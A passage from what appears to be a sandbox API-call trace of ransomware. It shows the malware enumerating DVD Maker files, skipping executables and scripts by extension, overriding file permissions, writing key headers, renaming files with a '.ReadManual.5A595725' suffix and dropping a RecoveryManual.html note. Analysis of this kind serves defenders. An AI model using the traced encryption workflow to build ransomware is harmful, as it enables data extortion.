Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.940] GetLastError () returned 0x5 [0253.940] GetNamedSecurityInfoW () returned 0x0 [0253.940] SetNamedSecurityInfoW () returned 0x0 [0253.940] SetNamedSecurityInfoW () returned 0x0 [0253.941] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.941] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=989322) returned 1 [0253.941] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf188a, lpName=0x0) returned 0x1a0 [0253.941] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0253.942] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.942] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.946] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.946] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf188a) returned 0x4350000 [0253.977] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0253.981] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37464970621) returned 1 [0253.981] CloseHandle (hObject=0x1a0) returned 1 [0253.981] SetSecurityInfo () returned 0x5 [0253.981] SetSecurityInfo () returned 0x5 [0253.981] LocalFree (hMem=0x674d38) returned 0x0 [0253.981] CloseHandle (hObject=0x184) returned 1 [0253.991] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0253.991] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0253.991] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0253.991] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="photoedge_buttongraphic.png" | out: lpString1="photoedge_buttongraphic.png") returned="photoedge_buttongraphic.png" [0253.991] lstrcmpiW (lpString1="photoedge_buttongraphic.png", lpString2="RecoveryManual.html") returned -1 [0253.991] StrStrIW (lpFirst="photoedge_buttongraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.991] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.991] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.991] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.991] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.991] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.991] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.991] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.991] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.992] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.992] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.992] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.992] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.992] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.992] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.992] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" [0253.992] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.ReadManual.5A595725" [0253.992] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.ReadManual.5A595725") returned 95 [0253.992] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37466055076) returned 1 [0253.992] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0253.992] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.992] GetLastError () returned 0x5 [0253.992] GetNamedSecurityInfoW () returned 0x0 [0253.993] SetNamedSecurityInfoW () returned 0x0 [0253.993] SetNamedSecurityInfoW () returned 0x0 [0253.994] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0253.994] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5372) returned 1 [0253.994] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14fc, lpName=0x0) returned 0x184 [0253.994] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0253.995] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.995] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0253.996] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0253.997] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14fc) returned 0x2f0000 [0253.997] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.997] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37466560743) returned 1 [0253.997] CloseHandle (hObject=0x184) returned 1 [0253.997] SetSecurityInfo () returned 0x5 [0253.997] SetSecurityInfo () returned 0x5 [0253.997] LocalFree (hMem=0x674d38) returned 0x0 [0253.997] CloseHandle (hObject=0x194) returned 1 [0254.001] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0254.001] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0254.001] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0254.002] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0254.002] CloseHandle (hObject=0x194) returned 1 [0254.003] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0254.003] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="photoedge_selectionsubpicture.png" | out: lpString1="photoedge_selectionsubpicture.png") returned="photoedge_selectionsubpicture.png" [0254.003] lstrcmpiW (lpString1="photoedge_selectionsubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.003] StrStrIW (lpFirst="photoedge_selectionsubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.003] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.003] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.003] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.003] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.003] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.003] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.003] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" [0254.003] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.ReadManual.5A595725" [0254.003] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.ReadManual.5A595725") returned 101 [0254.003] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37467206004) returned 1 [0254.003] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0254.004] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.004] GetLastError () returned 0x5 [0254.004] GetNamedSecurityInfoW () returned 0x0 [0254.004] SetNamedSecurityInfoW () returned 0x0 [0254.004] SetNamedSecurityInfoW () returned 0x0 [0254.005] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.005] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4724) returned 1 [0254.005] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1274, lpName=0x0) returned 0x184 [0254.006] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.006] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.006] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.007] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.008] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1274) returned 0x2f0000 [0254.008] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.008] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37467667205) returned 1 [0254.008] CloseHandle (hObject=0x184) returned 1 [0254.008] SetSecurityInfo () returned 0x5 [0254.008] SetSecurityInfo () returned 0x5 [0254.008] LocalFree (hMem=0x674d38) returned 0x0 [0254.008] CloseHandle (hObject=0x194) returned 1 [0254.009] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0254.009] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="photoedge_videoinset.png" | out: lpString1="photoedge_videoinset.png") returned="photoedge_videoinset.png" [0254.009] lstrcmpiW (lpString1="photoedge_videoinset.png", lpString2="RecoveryManual.html") returned -1 [0254.009] StrStrIW (lpFirst="photoedge_videoinset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.009] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.009] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.009] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.009] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.009] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.009] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.009] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" [0254.009] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.ReadManual.5A595725" [0254.009] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png.ReadManual.5A595725") returned 92 [0254.009] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37467827628) returned 1 [0254.010] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png")) returned 0x20 [0254.010] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.010] GetLastError () returned 0x5 [0254.010] GetNamedSecurityInfoW () returned 0x0 [0254.010] SetNamedSecurityInfoW () returned 0x0 [0254.010] SetNamedSecurityInfoW () returned 0x0 [0254.011] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.011] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4710) returned 1 [0254.011] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1266, lpName=0x0) returned 0x184 [0254.011] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0254.012] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.012] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.014] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.014] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1266) returned 0x2f0000 [0254.014] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.014] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37468271816) returned 1 [0254.014] CloseHandle (hObject=0x184) returned 1 [0254.014] SetSecurityInfo () returned 0x5 [0254.014] SetSecurityInfo () returned 0x5 [0254.014] LocalFree (hMem=0x674d38) returned 0x0 [0254.014] CloseHandle (hObject=0x194) returned 1 [0254.014] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.014] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Postage_ButtonGraphic.png" | out: lpString1="Postage_ButtonGraphic.png") returned="Postage_ButtonGraphic.png" [0254.014] lstrcmpiW (lpString1="Postage_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.014] StrStrIW (lpFirst="Postage_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.014] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.014] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.015] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.015] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.015] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.015] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.015] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.015] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" [0254.015] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.ReadManual.5A595725" [0254.015] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png.ReadManual.5A595725") returned 93 [0254.015] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37468369591) returned 1 [0254.015] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png")) returned 0x20 [0254.016] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.016] GetLastError () returned 0x5 [0254.016] GetNamedSecurityInfoW () returned 0x0 [0254.016] SetNamedSecurityInfoW () returned 0x0 [0254.016] SetNamedSecurityInfoW () returned 0x0 [0254.017] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0254.017] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=22969) returned 1 [0254.017] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59b9, lpName=0x0) returned 0x184 [0254.017] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0254.018] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.018] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0254.020] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0254.020] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, 